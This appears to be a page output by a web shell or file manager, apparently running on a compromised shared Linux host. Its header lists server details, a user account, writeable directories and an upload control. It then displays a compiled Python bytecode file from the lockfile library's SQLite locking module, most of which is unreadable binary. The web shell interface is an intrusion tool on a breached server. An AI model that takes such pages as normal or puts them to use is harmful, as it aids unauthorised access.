https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/lockfile/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/lockfile/__pycache__/sqlitelockfile.cpython-310.pyc
o

��UV��@spddlmZmZddlZddlZzeWneyeZYnwddlm	Z	m
Z
mZmZm
Z
Gdd�de	�ZdS)�)�absolute_import�divisionN�)�LockBase�	NotLocked�	NotMyLock�LockTimeout�
AlreadyLockedc@sPeZdZdZdZddd�Zddd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�SQLiteLockFilezDemonstrate SQL-based locking.NTc
Cs�t�||||�t|j�|_t|j�|_tjdur2ddl}|��\}}t	�
|�t	�|�~~|t_ddl}|�
tj�|_|j��}z|�d�Wn|jyTYdSw|j��ddl}	|	�t	jtj�dS)zu
        >>> lock = SQLiteLockFile('somefile')
        >>> lock = SQLiteLockFile('somefile', threaded=False)
        NrzGcreate table locks(   lock_file varchar(32),   unique_name varchar(32)))r�__init__�unicode�	lock_file�unique_namer
�testdb�tempfile�mkstemp�os�close�unlink�sqlite3�connect�
connection�cursor�execute�OperationalError�commit�atexit�register)
�self�path�threaded�timeoutr�_fdrr�cr�r$�9/usr/lib/python3/dist-packages/lockfile/sqlitelockfile.pyrs*



�
zSQLiteLockFile.__init__cCs8|dur|n|j}t��}|dur|dkr||7}|dur d}n|dkr'd}n|d}|j��}	|��sf|�d|j|jf�|j��|�d|jf�|�	�}t
|�dkrd|�d|jf�|j��ndS|�d|jf�|�	�}t
|�dkrzdS|dur�t��|kr�|dkr�td	|j��t
d
|j��t�|�q1)Nrg�������?�
Tz;insert into locks  (lock_file, unique_name)  values  (?, ?)z*select * from locks  where unique_name = ?r�(delete from locks  where unique_name = ?z&Timeout waiting to acquire lock for %sz%s is already locked)r!�timerr�	is_lockedrr
rr�fetchall�lenrrr	�sleep)rr!�end_time�waitr�rowsr$r$r%�acquire5sP

�
����
�zSQLiteLockFile.acquirecCs\|��std|j��|��std|j|��f��|j��}|�	d|jf�|j�
�dS)Nz%s is not lockedz#%s is locked, but not by me (by %s)r')r)rr�i_am_lockingrr�_who_is_lockingrrrr�rrr$r$r%�releasets�
�zSQLiteLockFile.releasecCs&|j��}|�d|jf�|��dS)Nz2select unique_name from locks  where lock_file = ?r)rrrr
�fetchoner3r$r$r%r2�s

�zSQLiteLockFile._who_is_lockingcCs*|j��}|�d|jf�|��}|S)Nz(select * from locks  where lock_file = ?)rrrr
r*)rrr/r$r$r%r)�s
�zSQLiteLockFile.is_lockedcCs*|j��}|�d|j|jf�|��S)Nz?select * from locks  where lock_file = ?    and unique_name = ?)rrrr
rr*r3r$r$r%r1�s


�zSQLiteLockFile.i_am_lockingcCs(|j��}|�d|jf�|j��dS)Nz&delete from locks  where lock_file = ?)rrrr
rr3r$r$r%�
break_lock�s

�zSQLiteLockFile.break_lock)TN)N)�__name__�
__module__�__qualname__�__doc__rrr0r4r2r)r1r6r$r$r$r%r
s

"?r
)�
__future__rrr(rr�	NameError�str�rrrrr	r
r$r$r$r%�<module>s�

https://t.me/RX1948 - 2025